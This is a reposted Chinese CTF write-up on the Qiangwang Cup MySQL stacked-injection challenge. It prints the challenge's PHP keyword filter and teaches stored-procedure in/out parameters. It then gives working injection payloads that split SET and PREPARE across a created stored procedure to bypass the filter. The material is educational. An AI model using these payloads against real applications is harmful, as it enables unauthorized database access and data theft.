mysql freebuf_浅析mysql存储过程
從強網杯隨便注淺析mysql存儲過程
Author: Smity
去年的強網杯,出了一道mysql堆疊注入叫隨便注,這道題被好多比賽玩了一整年,直到現在還是有各種新姿勢,但是今天我忽然想到似乎沒有對這個題目有一個很認真的分析,因此這里總結一下這個題目的出題用意和原本的預期做法:
堆疊注入
Stacked injections:堆疊注入。從名詞的含義就可以看到應該是一堆sql語句(多條)一起執行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令行中,每一條語句結尾加 ; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做stacked injection。代碼中和一般查詢不同的是,使用了multi_query函數
在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合并在一起,兩者之間有什么區別么?區別就在于union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。
源碼分析
$inject = $_GET['inject'] ?? false;
if ($inject) {
$preg_match = 'return preg_match("/select|update|show|use|updatexml|extractvalue|exp|pow|char|delete|ascii|substr|sleep|if|strcmp|left|mid|concat|drop|insert|where|\./i", $inject);';
if (eval($preg_match)) {
echo "您輸入了敏感字符!";
exit();
}
if(stristr($inject, "set") && stristr($inject, "prepare")){
echo "請不要同時輸入set和prepare";
exit();
}
當時的強網杯似乎在stristr這個函數上漏寫了i導致大家用大小寫繞過,但是沒事這個不是重點(逃)
這里過濾了很多查詢關鍵字,比如select,比如盲注用的函數,基本上是沒有辦法的,但是這里是堆疊注入,就給了我們以執行多條sql語句的機會。
很多同學自然就想到了set+prepare的預處理語句,但是這里規定了不能夠同時輸入set和prepaere,又被堵死了,但是mysql還有一個可以讓語句分開執行且達到等同于一起執行的效果,這里介紹一下正解,mysql的存儲過程。
存儲過程
存儲過程(Stored Procedure)是一種在數據庫中存儲復雜程序,以便外部程序調用的一種數據庫對象。
存儲過程是為了完成特定功能的SQL語句集,經編譯創建并保存在數據庫中,用戶可通過指定存儲過程的名字并給定參數(需要時)來調用執行。
存儲過程思想上很簡單,就是數據庫 SQL 語言層面的代碼封裝與重用。類比面向對象編程的類。說白了,存儲過程就是具有名字的一段代碼,用來完成一個特定的功能。
大家看下面這個很熟悉的例子,這個例子在網絡上是教程范例,給大家熟悉一下。無非就是in和out。
create 存儲過程,然后call調用。
鑒于很多人不太理解這個in和out的區別,我們再簡單提一提。
in——傳入參數(只索取,不給予)
調用者可以給"過程"一個值,但是過程不會把這個值返回給你。
比如:
mysql> delimiter $$
mysql> set @p_in=1;
mysql> create procedure in_param(in p_in int)
-> begin
-> select p_in;
-> set p_in=2;
-> select p_in;
-> end$$
mysql> delimiter ;
mysql> call in_param(@p_in);
+------+
| p_in |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
#因為這里先set了p_in=1,所以存儲過程里select p_in的值為1
+------+
| p_in |
+------+
| 2 |
+------+
1 row in set (0.00 sec)
#然后set p_in=2,所以存儲過程里第二個select p_in的值為2
Query OK, 0 rows affected (0.00 sec)
mysql> select @ p_in;
+------+
| p_in |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
#存儲過程執行完,他不會把這個值調用者,調用者在過程外是不能夠使用這個變化后的值的
in參數就是只能輸入,不能夠輸出,執行完過程,in參數是不會改變的。
out——傳出參數(不索取,只給予)
mysql> delimiter //
mysql> create procedure out_param(out p_out int)
-> begin
-> select p_out;
-> set p_out=2;
-> select p_out;
-> end
-> //
mysql> delimiter ;
mysql> set @p_out=1;
Query OK, 0 rows affected (0.00 sec)
mysql> call out_param(@p_out);
+-------+
| p_out |
+-------+
| NULL |
+-------+
1 row in set (0.00 sec)
+-------+
| p_out |
+-------+
| 2 |
+-------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
out這個參數剛好就是反過來,調用者無論怎么給參數賦初始值,"過程"里都是當作空值開始處理,然后將處理好的值返回給調用者。
分離預處理語句
好了說了這么多,我們還是要結合題目來看看,題目這里明顯是要用預處理set 和 prepare來做,但是不能夠同時輸入。經過上面的講解,我們可以想到,雖然set和prepare不能夠同時輸入,但是我只要把set給封裝到一個"過程"中去,是不是就可以利用存儲過程來代替set呢?
再理一遍大家很熟悉的set preare的注入poc怎么寫:
114514';set @string = hex;prepare stmt from @string;EXECUTE stmt;#
這個地方的string就是我們要執行的sql語句的16進制表示,stmt則是預處理語句的別名。
然后我們把他分為兩個部分:
set @string = hex;
和
prepare stmt from @string;EXECUTE stmt;
首先我們需要創建一個將set包含進去的存儲過程,然后分析輸入和輸出參數: 1. in參數是sql注入語句的16進制,因為需要繞過敏感字符過濾,并且我們需要輸入這個hex給過程拿去利用; 2. out參數則是我們的set里的@string——預處理語句,在"過程"中賦值好以后,拿出來給我們的prepare使用。
因此我們的poc可以這么寫:下面的uuid代表php代碼生成的隨機數。 第一次輸入存儲過程的定義:
114514';
create procedure `{$uuid}`(out string text(1024), in hex text(1024))
BEGIN
SET string = hex;
END;
;--
第二次用call調用這個存儲過程(@decoded其實就是傳參,傳到上一個poc的string位置,為了和string區分開,就用了另一個名詞):
114514';
call `{$uuid}`(@decoded, 0x{$sql});
prepare payload from @decoded;
execute payload;
;--
之后就會正常的執行set+prepare的注入了。
總結
其實大家如果實在不清楚這個in和out,可以使用inout來代替,inout參數是既可以輸入,又可以輸出。
說白了存儲過程就是sql語句里的函數,可以封裝代碼,所以比賽中如果遇到了不能一起使用的關鍵字,可以嘗試著使用存儲過程將其分割開。
聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!
總結
以上是生活随笔為你收集整理的mysql freebuf_浅析mysql存储过程的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql auto position_
- 下一篇: mysql表中插中文报错_向mysql表